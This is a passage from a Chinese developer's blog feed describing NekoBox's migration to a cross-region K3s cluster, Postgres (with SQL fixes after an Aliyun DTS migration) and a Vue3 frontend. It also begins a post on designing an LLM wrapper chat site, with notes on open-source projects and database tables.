了解到了我的技术博客,受到触动也开始尝试建站写博客。能成为他人的光真的是很开心的事。</strong></p> <p>因此后续 NekoBox 便迁移到了境外服务器,并且没再使用备案域名了 —— 正如 v2ex、Go 语言中文网等站点那样。希望它能在广袤互联网的一角,继续安静地存在下去。</p> <h2 id="云原生迁移">云原生迁移</h2> <p>抒情的话聊完了,该聊点技术了。</p> <p>NekoBox 部署在境外的 2C2G 轻量服务器上,由于配置的原因,只能使用 Docker Swarm 进行粗糙的服务编排调度。每次需要更新线上版本时,都是 GitHub Actions 通过 SSH 连上服务器,再执行 <code>docker service update</code> 命令。</p> <p>我想将 NekoBox 接入现有的 K3s 集群,使用 GitOps 实现更好的版本管理和平滑更新。我的 K3s Master 节点位于腾讯云上海区域,经测试发现腾讯云东京区域的线路比中国香港区域好些,因此买了台 2C4G 的境外东京区域的机器,作为 NekoBox 新的部署机器。</p> <p>关于如何跨地域甚至是跨云组件 K3s 集群,这篇文章介绍的很详细:<a href="https://wiki.zjq.im/docs/ops/k8s/install-k8s-with-zerotier-planet-and-k3s/">《基于K3S和zerotier-planet实现跨云搭建K8S集群》</a></p> <p>首先使用 ZeroTier 将不同可用区的机器加入到同一 ZeroTier 网络中,这样在 K3s 看来它们就在同一内网里了。</p> <p><img src="https://github.red/images/2025/09/zerotier-node-list.png" alt="zerotier-node-list"></p> <p>节点均开启 IPv4 Forwarding 后,修改 Master 节点 <code>/etc/systemd/system/k3s.service</code> 中的 K3s 参数,显示指定 <code>node-ip</code> 为节点在 ZeroTier 中的 IP,并设置使用 ZeroTier 的网卡:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#79c0ff">ExecStart</span><span style="color:#ff7b72;font-weight:bold">=</span>/usr/local/bin/k3s <span style="color:#79c0ff">\ </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"></span> server --node-ip 10.243.xxx.xxx --flannel-iface ztcxxxxxxx --flannel-backend<span style="color:#ff7b72;font-weight:bold">=</span>host-gw <span style="color:#79c0ff">\ </span></span></span></code></pre></div><p>同理,修改 Worker 节点 <code>/etc/systemd/system/k3s-agent.service</code> 的 K3s 参数:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#79c0ff">ExecStart</span><span style="color:#ff7b72;font-weight:bold">=</span>/usr/local/bin/k3s <span style="color:#79c0ff">\ </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"></span> agent --node-ip 10.243.xxx.xxx --flannel-iface ztcxxxxxxx <span style="color:#79c0ff">\ </span></span></span></code></pre></div><p>重启各节点上的 K3s 服务,Lens 连上 Master 节点能在 Worker 节点启动 Node Shell 并访问 Worker 上的 Pod 日志,Worker 节点能请求到其他节点上的 Service,说明就配置成功啦~</p> <p>我们再给 NekoBox 的节点加个 <code>region=jp</code> 的污点,防止集群里的其它服务被调度过来。</p> <h3 id="goldpinger">goldpinger</h3> <p>后续还推荐装上 <a href="https://github.com/bloomberg/goldpinger">goldpinger</a>,它会建一个 Daemon Sets,在每个节点上放一个 Pod 来监测节点间的连接状态。</p> <p><img src="https://github.red/images/2025/09/goldpinger-web.png" alt="goldpinger-web"></p> <p>官方仓库里虽然提供了 Helm Charts,但比较敷衍,可扩展性差,建议是自己把有用的部分扒出来直接 GitOps 写 YAML 创建资源。官方仓库里还提供了 Grafana Dashboard 定义,导入 Grafana 后可以很直观的看到节点之间的连接延迟:</p> <p><img src="https://github.red/images/2025/09/goldpinger-grafana-dashboard.png" alt="goldpinger-grafana-dashboard"></p> <h2 id="数据库-mysql---postgres">数据库 MySQL -&gt; Postgres</h2> <p>2020 年写 NekoBox 那会,我还很菜(虽然现在也很菜),数据库只会用 MySQL。</p> <p>尝试过 Postgres 后发现真香,就想着把 NekoBox 从 MySQL 迁移到 Postgres。但 NekoBox 在线上跑着,随时会有用户访问,发布新的提问和回答往数据库插入新的数据,此举无疑是在边开飞机边换引擎。</p> <p>社区的 <a href="https://github.com/dimitri/pgloader">pgloader</a> 是一个很好用的 Postgres 数据迁移工具,但它只支持全量迁移,<strong>并不支持增量同步</strong>。换句话说我需要先给线上的 NekoBox 停机防止有新的数据写入,迁移数据,再将后端数据库配置改到新的库上。受限于老的 2C2G 服务器的性能,我需要对 pgloader 进行限速,停机迁移全量数据的时间可能会很长。</p> <h3 id="阿里云-dts">阿里云 DTS</h3> <p>如果要实现不停机迁移,则需要在完成全量迁移后,再将全量迁移这段时间内的增量数据,也同步到新库中。在调研了市面上几个数据库同步产品后,最后我选择使用阿里云 DTS 来完成。(这里不得不吐槽下我司,腾讯云的 DTS 产品只支持 MySQL 系之间的数据同步,不支持异构数据库,还得加强呀!)</p> <p>将服务器添加为阿里云数据库网关 DG 节点后,即可在 DTS 控制台选择使用数据库网关接入非阿里云的源库与目标库,配置完后启动任务即可。</p> <p><img src="https://github.red/images/2025/09/aliyun-dts.png" alt="aliyun-dts"></p> <p>等全量迁移完了就会开始一直跑增量写入任务了,此时可以在线上写一些数据,来检查数据同步的情况。</p> <h3 id="阿里云-dts-的坑">阿里云 DTS 的坑</h3> <p>但是阿里云在让我失望这件事上从来没有让我失望过。</p> <p>我发现阿里云 DTS 居然把 MySQL <code>tinyint(2)</code> 类型迁移成了 Postgres <code>smallint</code> 类型,而非 <code>bool</code> 类型!这导致 GORM 在 AutoMigrate 时直接报错了!这一点在 pgloader 中专门有一条 <code>tinyint-to-boolean</code> 规则进行适配:</p> <blockquote> <p>As MySQL lacks a proper boolean type, <em>tinyint</em> is often used to implement that. This function transforms 0 to &lsquo;false&rsquo; and anything else to &rsquo;true&rsquo;.</p></blockquote> <p>提工单问了客服,客服只会照本宣科给我发产品文档链接&hellip;&hellip; 我要的是怎样解决问题,不是你告诉我产品该怎么用。</p> <p>更抽象的是,阿里云 DTS 怕不是根本没什么人用,产品文档中记录的“库表列名单个映射”功能,前端的树形组件下拉是有 Bug 的,如果直接全选了整个库,则无法再细化各表的字段映射配置。</p> <p>这导致不看文档,用户自己是不会知道还有这功能的。但这个字段映射也只是配置目标字段的名称,并不能修改映射类型。</p> <p>我的解决办法是在迁移完后,观测到线上流量低后,关闭 DTS 同步,线上服务停机,Postgres 数据库执行 SQL 修改字段类型。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;nekobox&#34;</span>.<span style="color:#a5d6ff">&#34;questions&#34;</span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">COLUMN</span><span style="color:#6e7681"> </span>is_private<span style="color:#6e7681"> </span><span style="color:#ff7b72">TYPE</span><span style="color:#6e7681"> </span>BOOLEAN<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">USING</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">CASE</span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">WHEN</span><span style="color:#6e7681"> </span>is_private<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">0</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">THEN</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">FALSE</span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">ELSE</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TRUE</span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">END</span>;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;nekobox&#34;</span>.<span style="color:#a5d6ff">&#34;censor_logs&#34;</span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">COLUMN</span><span style="color:#6e7681"> </span>pass<span style="color:#6e7681"> </span><span style="color:#ff7b72">TYPE</span><span style="color:#6e7681"> </span>BOOLEAN<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">USING</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">CASE</span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">WHEN</span><span style="color:#6e7681"> </span>pass<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">0</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">THEN</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">FALSE</span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">ELSE</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TRUE</span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">END</span>;<span style="color:#6e7681"> </span></span></span></code></pre></div><p>修改类型的 SQL 执行的很快,就当我以为已经全部搞定的时候,<strong>我发现阿里云 DTS 这垃圾东西居然不会迁移 Postgres 自增序列!</strong> 这意味着每一张表的<code>ID</code> 字段都不会自增并自动赋值,插入数据就会报错说 <code>ID</code> 字段为 NULL。</p> <p>没办法,赶紧执行 SQL 手动加序列&hellip;&hellip;</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">-- 1. 查看当前最大 ID(先确认数据) </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">SELECT</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">MAX</span>(id)<span style="color:#6e7681"> </span><span style="color:#ff7b72">FROM</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;nekobox&#34;</span>.users;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#8b949e;font-style:italic">-- 2. 创建序列并设置起始值(假设最大 id 是 1000) </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">CREATE</span><span style="color:#6e7681"> </span>SEQUENCE<span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;nekobox&#34;</span>.users_id_seq<span style="color:#6e7681"> </span><span style="color:#ff7b72">START</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">WITH</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">1001</span>;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#8b949e;font-style:italic">-- 3. 将序列绑定到 id 列 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;nekobox&#34;</span>.users<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">COLUMN</span><span style="color:#6e7681"> </span>id<span style="color:#6e7681"> </span><span style="color:#ff7b72">SET</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">DEFAULT</span><span style="color:#6e7681"> </span>nextval(<span style="color:#a5d6ff">&#39;nekobox.users_id_seq&#39;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#8b949e;font-style:italic">-- 4. 将序列的所有权给表(表删除时序列也删除) </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span>SEQUENCE<span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;nekobox&#34;</span>.users_id_seq<span style="color:#6e7681"> </span>OWNED<span style="color:#6e7681"> </span><span style="color:#ff7b72">BY</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;nekobox&#34;</span>.users.id;<span style="color:#6e7681"> </span></span></span></code></pre></div><p>还得是阿里云,能整出这种狠活来,真牛!😅</p> <p>如果再给我一次机会,我会选择自己写一个工具,先记录 MySQL 数据库 BinlogID 或 GTID,然后调用 pgloader 进行全量数据迁移,再从记录的 BinlogID/GTID 处开始增量同步添加数据。</p> <p>现在 NekoBox 已经迁移到了 Postgres,凌晨 3:30 开始迁移,4:00 完成。线上运行了一天 Trace 里没看到有报错,感觉是没问题了。</p> <h2 id="前端重构">前端重构</h2> <p>NekoBox 的前端使用 UIKit 组件库。这个组件库的风格我十分喜欢,扁平简单,美中不足的是它真的就只是一个 CSS + 一点点 JavaScript 的组件库。社区里有人开发了 <a href="https://github.com/vuikit/vuikit">vuikit</a> 组件来将其接入 Vue 生态,但这个项目的最后一次 commit 已经是五年前了,并且还未适配 Vue3。</p> <p>因此 NekoBox 的前端一直是以服务端渲染的形式呈现,稍微复杂一点的交互或者异步加载,则会使用 Alpine.js 实现。渐渐的,我发现它已经无法支撑起后续复杂的前端需求了。我写前端的经常会想:“这些响应式交互,Vue 来了可以全秒了。”</p> <p>我开始尝试将 UIKit 的 CSS 引入 Vue3 项目中,发现它比我想象中的好用。由于 UIKit 大部分情况下只是在原生 HTML 标签上加上了 CSS 样式,因此我大可不必像 vuikit 那样将按钮、文本框之类的封装为 Vue 组件,直接在原生 HTML 标签用 <code>class</code> 指定样式即可。页面也比我想象中的少很多,因此只花了一个周末的时间就完成了 80% 的前端 Vue3 + 后端 RESTful API 的重构工作。</p> <h3 id="骨架屏">骨架屏</h3> <p>前后端分离后,由于后端部署在境外,请求 API 难免会慢一些。这里我用了 <a href="https://www.npmjs.com/package/vue-loading-skeleton">vue-loading-skeleton</a> 来给页面加载时加上骨架屏,防止页面未加载完时布局塌陷。这个组件做得还行,可以自动识别插槽里的元素自适应调整加载的骨架元素大小。</p> <h3 id="灰度">灰度</h3> <p>新版的前端我不敢直接全量上线,想先小部分用户测试下。最简单的办法是将前端部署在例如 <code>next.n3ko.cc</code> 这样的子域下,但会导致后续主站全量上线时,子域的链接还得做重定向兼容。</p> <p>复杂一点的话,在集群里搭个 Istio 服务网格来实现细粒度的流量转发,但看了下机器的配置,还是算了&hellip;&hellip; 最后简单粗暴的在 Cloudflare 上配置了回源规则:当请求 Cookies 里带 <code>next-beta=1</code> 时,则将请求转发到源站新版前端的端口上。后续在线上加个按钮,点一下就给 <code>Set-Cookie</code> 即可切换到新版前端,去掉 Cookie 就切回来。</p> <h2 id="展望">展望</h2> <p>我有问过自己,NekoBox 对我而言意味着什么?</p> <p>我并不指望靠着它能够发家致富,我认为 NekoBox 是一块让我实践产品运营的“试验田”。参加工作以来,我基本没有做过对性能和服务可用性有很强要求的东西,更没有什么 To C 的经验。这既是好事,好在我不用随时 on call;也是坏事,坏在我没有那些项目经验和教训。</p> <p>因此我想借 NekoBox 这个用户量还算不少的平台,亲身去实践开发和运营一个产品,去踩那些前人踩过的坑,去体验边开飞机边换引擎的惊险。因此 NekoBox 的项目经历其实也一直被写在我的简历里,作为一个还算成功的 Side Project 被我拿来跟面试官吹逼。😂</p> <p>对于 NekoBox 的用户,很感谢他们能包容我的“放养式”运营,更是感谢那些还会不定期支付宝打赏的朋友们。我仅通过兔小巢这个渠道接收用户的反馈,并没有尝试组建 QQ 群之类的方式,是因为我认为每个人的圈子不同,年龄和性格也不同,求同存异会比较困难。我也很害怕跟别人起纷争或者冲突,所以还是继续维持现状吧。</p> <p>关于之后的更新计划嘛,等新版前端稳定后,我想先完善一下基建方面,例如 Tracing 由 Uptrace 切到更专业的腾讯云 APM,完善项目的开发和部署文档,之后就可以开始做用户反馈中提到的暗色主题、多语言、表情评价,甚至是聊天等功能。先把 flag 立了,后面慢慢填坑哈哈哈。</p>如何设计并实现一个好用的大模型套壳站?https://github.red/llm-site-design/Sun, 30 Mar 2025 23:12:57 +0800https://github.red/llm-site-design/<p>我在 2021 年时就开始用 GitHub Copilot 写代码了,2022 年 12 月初刷推特时看到了 ChatGPT,立刻注册了个号玩了下。大模型的这波风口我看到的很早,但却没有做什么行动。那个时候的自己感觉不管做什么起步都已经晚了,套壳站已经满天飞了,OpenAI 的 API Key 也被人卖的差不多了,已经没有什么新的玩法了。</p> <p>今年过年的时候 DeepSeek 火了,我才惊讶地发现,几年过去了, 豆包、混元、千问虽然在业内打得不可开交,但还是有太多的人至今没有接触过这些大模型应用。我在推特上看到个喷子,喷 DeepSeek 的点居然是问今天天气怎么样,它回答不出来。很多人对这种对话式 AI 的概念还停留在 10 年前的 Siri 等手机语音助手上。换句话说,下沉市场还是一片蓝海。</p> <p>刚好之前看到腾讯混元大模型的最低配模型 <code>hunyuan-lite</code> 居然是免费的!那我们不如也来试试当一回二道贩子,尝试自己做一个大模型套壳站,会不会有人用我不知道,但开发的过程一定很有意思。</p> <h2 id="感兴趣的功能">感兴趣的功能</h2> <p>排除掉写了一万遍的用户注册登录和一堆 CRUD,我对以下功能的实现原理很感兴趣:</p> <ol> <li> <p>SSE 代理:怎样将腾讯云大模型的 SSE 和自己的对话接口接起来?</p> </li> <li> <p>SSE 断点续传:对话生成过程中如果页面刷新了,重新进入时怎样继续生成当前回答?(⚠️ 实践后发现这是最难实现的功能,边缘情况很多)</p> </li> <li> <p>怎样生成对话标题?</p> </li> <li> <p>每次对话的 Token 如何计算?单次对话的 Token 数如何限制?</p> </li> </ol> <h2 id="先来看看开源社区">先来看看开源社区</h2> <p>开始逐个分析上述功能之前,我们先来看看社区做得怎么样了。我按 stars 排序随便挑了几个感兴趣的项目,简单读了下他们的代码后,我信心大增哈哈哈。🤣</p> <h3 id="typescript-821k"><a href="https://github.com/ChatGPTNextWeb/NextChat">https://github.com/ChatGPTNextWeb/NextChat</a> TypeScript 82.1k</h3> <p>这应该是大家最初自建套壳站时使用的了,使用 TypeScript 编写。功能中规中矩,我发现了两个有意思的点:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-typescript" data-lang="typescript"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// https://github.com/ChatGPTNextWeb/NextChat/blob/48469bd8ca4b29d40db0ade61b57f9be6f601e01/app/client/api.ts#L197-L201 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> </span></span><span style="display:flex;"><span>.concat([ </span></span><span style="display:flex;"><span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">from</span><span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;human&#34;</span>, </span></span><span style="display:flex;"><span> value<span style="color:#ff7b72;font-weight:bold">:</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;Share from [NextChat]: https://github.com/Yidadaa/ChatGPT-Next-Web&#34;</span>, </span></span><span style="display:flex;"><span> }, </span></span><span style="display:flex;"><span>]); </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// 敬告二开开发者们,为了开源大模型的发展,请不要修改上述消息,此消息用于后续数据清洗使用 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Please do not modify this message </span></span></span></code></pre></div><p>NextChat 在生成公开的对外分享链接时,会在对话最后加上 <code>Share from [NextChat]</code> 的标识。目的是为了后续训练大模型时,能够分辨出哪些是人工产生的数据,哪些是以往的大模型生成的,进而清洗过滤掉大模型生成的内容。</p> <p>细想一下还挺意思的,“2022 年” 像是一道屏障一样,将互联网上的文字内容隔开来了。2022 年以后的内容,读起来就得留个心眼了,凡是看到 “综上所述” “总的来说” 这些字眼,难免会怀疑是否是用 AI 生成的。它像是泄露的核废水一样,随着时间的推移逐渐蔓延并浸染整片知识的海洋。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-typescript" data-lang="typescript"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// https://github.com/ChatGPTNextWeb/NextChat/blob/48469bd8ca4b29d40db0ade61b57f9be6f601e01/app/locales/cn.ts#L626-L632 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> </span></span><span style="display:flex;"><span>Prompt<span style="color:#ff7b72;font-weight:bold">:</span> { </span></span><span style="display:flex;"><span> History<span style="color:#ff7b72;font-weight:bold">:</span> (content: <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72;font-weight:bold">=&gt;</span> <span style="color:#a5d6ff">&#34;这是历史聊天总结作为前情提要:&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> content, </span></span><span style="display:flex;"><span> Topic<span style="color:#ff7b72;font-weight:bold">:</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;使用四到五个字直接返回这句话的简要主题,不要解释、不要标点、不要语气词、不要多余文本,不要加粗,如果没有主题,请直接返回“闲聊”&#34;</span>, </span></span><span style="display:flex;"><span> Summarize<span style="color:#ff7b72;font-weight:bold">:</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;简要总结一下对话内容,用作后续的上下文提示 prompt,控制在 200 字以内&#34;</span>, </span></span><span style="display:flex;"><span>}, </span></span></code></pre></div><p>NextChat 的这段代码解答了上面的问题 3 —— 对话标题是使用一段简短的 Prompt + 一个较小的模型生成的。转而一想,这里其实可能存在 Prompt 注入,只是没什么危害罢了。</p> <h3 id="python-848k"><a href="https://github.com/open-webui/open-webui">https://github.com/open-webui/open-webui</a> Python 84.8k</h3> <p>open-webui 的前端做出了高仿 OpenAI 的风格。使用 Python Web 异步库 <code>starlette</code> 返回 <code>SteamingResponse</code> 来代理 SSE 接口。它也实现了对话标题生成的功能,Prompt 上比 NextChat 长很多,并且要求以 JSON 格式返回。</p> <blockquote> <p><a href="https://github.com/open-webui/open-webui/blob/b03fc97e287f31ad07bda896143959bc4413f7d2/backend/open_webui/config.py#L1149-L1168">https://github.com/open-webui/open-webui/blob/b03fc97e287f31ad07bda896143959bc4413f7d2/backend/open_webui/config.py#L1149-L1168</a></p></blockquote> <p>我担心的点是,标题生成本身用的就是小模型,这么长的 Prompt 以及限定 JSON 格式输出,对小模型而言会不会不稳定。🤔</p> <p>至于并发限流、以及对话的 Token 吞吐量限制,open-webui 写了一个路由中间件解决,这里就不再赘述了。</p> <h3 id="go-41k"><a href="https://github.com/yangjian102621/geekai">https://github.com/yangjian102621/geekai</a> Go 4.1k</h3> <p>因为我使用 Go 来编写后端,所以找了个 Stars 数很多的 Go 项目。作者应该是 PHP 转 Go 没多久,或者说是刚学编程没多久,这代码质量真的不敢恭维。</p> <p>好好的 SSE 不用,画蛇添足用了 WebSocket,可从头至尾就没有需要客户端发送消息的场景。甚至这项目背后还接了个 xxl-job。😅 他能获得这么多 stars 只是因为把支付那块也给做完了,小白可以即开即用拿去做套壳。但从代码的可维护性和整洁度上来说,真是一团糟。我都想做个《鉴定网络奇葩代码》短视频了。</p> <p>这个故事告诉我们,技术好不好不重要,能把事情做完最重要。</p> <h3 id="go-538"><a href="https://github.com/swuecho/chat">https://github.com/swuecho/chat</a> Go 538</h3> <p>同样是 Go 项目,这个国外老哥写得代码就好多了。他使用了 <code>langchaingo</code> 来构造拼接对话。说实话我内心觉得这些库用起来挺花里胡哨的,又是什么模板,什么占位符,什么对话链,但最终做的事还是在拼字符串,拼出一个 Prompt 发给大模型。😁</p> <p>老哥使用了 <code>langchaingo</code> 自带的 <code>summarization</code> 来做对话总结,本质上也是 <code>langchaingo</code> 内置了一段 Prompt。</p> <p>而关于问题 4,如何计算 Token 数量,由于这个项目支持的模型都是 OpenAI 家的,因此直接使用的 OpenAI 开源的 tiktoken 来进行计算(国会听证会警告)。tiktoken 有 Go 封装的开源实现:<code>github.com/pkoukk/tiktoken-go</code>。</p> <hr> <p>其余的一些项目我有点看不下去了,不如直接开写吧!</p> <h2 id="数据结构">数据结构</h2> <p>回忆一下,我们是怎样用豆包或元宝的,在页面左侧有一个对话列表,点开对话后可以看到我们发送的和 AI 回复的消息。因此需要创建 <code>Chat</code> (对话)和 <code>Message</code> (消息)两张表。</p> <ul> <li><code>Chat</code> 对话表</li> </ul> <table> <thead> <tr> <th style="text-align: center">字段名</th> <th style="text-align: center">类型</th> <th style="text-align: center">说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center"><code>ID</code></td> <td style="text-align: center"><code>int64</code></td> <td style="text-align: center">生成的自增 ID</td> </tr> <tr> <td style="text-align: center"><code>UserUID</code></td> <td style="text-align: center"><code>string</code></td> <td style="text-align: center">用户 UID,用来对应这个对话属于哪个用户</td> </tr> <tr> <td style="text-align: center"><code>Title</code></td> <td style="text-align: center"><code>string</code></td> <td style="text-align: center">对话标题,后面由大模型总结生成</td> </tr> <tr> <td style="text-align: center"><code>CreatedAt</code></td> <td style="text-align: center"><code>time.Time</code></td> <td style="text-align: center">对话创建时间</td> </tr> </tbody> </table> <ul> <li><code>Message</code> 消息表</li> </ul> <table> <thead> <tr> <th style="text-align: center">字段名</th> <th style="text-align: center">类型</th> <th style="text-align: center">说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center"><code>ID</code></td> <td style="text-align: center"><code>int64</code></td> <td style="text-align: center">生成的自增 ID</td> </tr> <tr> <td style="text-align: center"><code>ChatID</code></td> <td style="text-align: center"><code>int64</code></td> <td style="text-align: center">Chat 对话表 ID,表示这条消息属于哪个对话</td> </tr> <tr> <td style="text-align: center"><code>ParentID</code></td> <td style="text-align: center"><code>int64</code></td> <td style="text-align: center">父消息的 ID</td> </tr> <tr> <td style="text-align: center"><code>ChildrenIDs</code></td> <td style="text-align: center"><code>pq.Int64Array</code></td> <td style="text-align: center">当前消息所有子消息的 ID 集合</td> </tr> <tr> <td style="text-align: center"><code>Role</code></td> <td style="text-align: center"><code>MessageRole</code></td> <td style="text-align: center">这条消息是谁发的,user / assistant</td> </tr> <tr> <td style="text-align: center"><code>Content</code></td> <td style="text-align: center"><code>string</code></td> <td style="text-align: center">消息正文</td> </tr> <tr> <td style="text-align: center"><code>Model</code></td> <td style="text-align: center"><code>string</code></td> <td style="text-align: center">对话使用的模型,目前还没做多模型切换,先预留</td> </tr> <tr> <td style="text-align: center"><code>TokenCount</code></td> <td style="text-align: center"><code>int64</code></td> <td style="text-align: center">为消息正文的 Token 数</td> </tr> <tr> <td style="text-align: center"><code>CreatedAt</code></td> <td style="text-align: center"><code>time.Time</code></td> <td style="text-align: center">对话创建时间</td> </tr> </tbody> </table> <div class="box-warning box"><i class="box-icon-warning"></i> <p><strong>有坑注意!</strong></p> <p>这里的 <code>ID</code> 均使用 Snowflake 算法生成,Snowflake 生成的是 19 位数字,这在 Go <code>int64</code> 下没问题,但在前端 JavaScript 下会丢失最后 4 位的精度。即 <code>1906281281029672960</code> 在前端会变成 <code>1906281281029673000</code>。</p> <p>我用了一个简单粗暴且不靠谱的 HACK,将数字除以 1000,去除后三位。</p> </div> <p>消息表中的 <code>ParentID</code> 和 <code>ChildrenIDs</code> 字段,用于记录父子消息关系。就像豆包可以点击重新生成,进而再生成一条回复。</p> <p><img src="https://github.red/images/2025/03/doubao-child-message.png" alt="豆包子消息"></p> <p>更复杂的像 ChatGPT,可以点击上文任意一条消息,新建一个分支重新生成对话。为了实现这样的效果,我们在创建一条新的消息记录时,需要 <code>ParentID</code> 指定它的父消息,并更新它父消息的 <code>ChildrenIDs</code> 字段,这俩包在一个数据库事务里做就行。</p> <p>在需要构造大模型接口 JSON <code>messages</code> 参数时,只需从最后一条消息开始,沿着 <code>ParentID</code> 依次向上遍历,一直到 <code>ParentID</code> 为 0,即可拿到当前对话分支的消息列表。 前端实现像上图中豆包的“上一条”“下一条”翻页的效果,也只需取 <code>ChildrenIDs</code> 构造翻页即可。</p> <p>这里再补充一些小细节,我发现腾讯元宝的消息 ID 使用 <code>&lt;对话ID&gt;_&lt;自增索引的格式&gt;</code> 表示,如 <code>&lt;对话ID&gt;_1</code> <code>&lt;对话ID&gt;_2</code> 等,<strong>这从设计上使得元宝的对话只能是线性的。</strong> 用户只能重新生成最新一轮对话的消息,且不能在历史对话中重新生成创建分支。</p> <h2 id="实现最简单的-sse">实现最简单的 SSE</h2> <p>关于 SSE 的简单介绍,可以去阅读我五年前写得 <a href="https://github.red/talking-about-eventstream/">《聊聊 EventStream 服务器端推送》</a> 这篇文章。大模型活了之后每个月都会有人在 Google 上搜 EventStream 搜到这篇。</p> <p>腾讯云官方的 Go SDK 调用混元大模型时,客户端可以使用 <code>SendOctetStream</code> 方法,接收流式响应,此时 <code>response</code> 中返回的是 <code>channel</code> 类型的 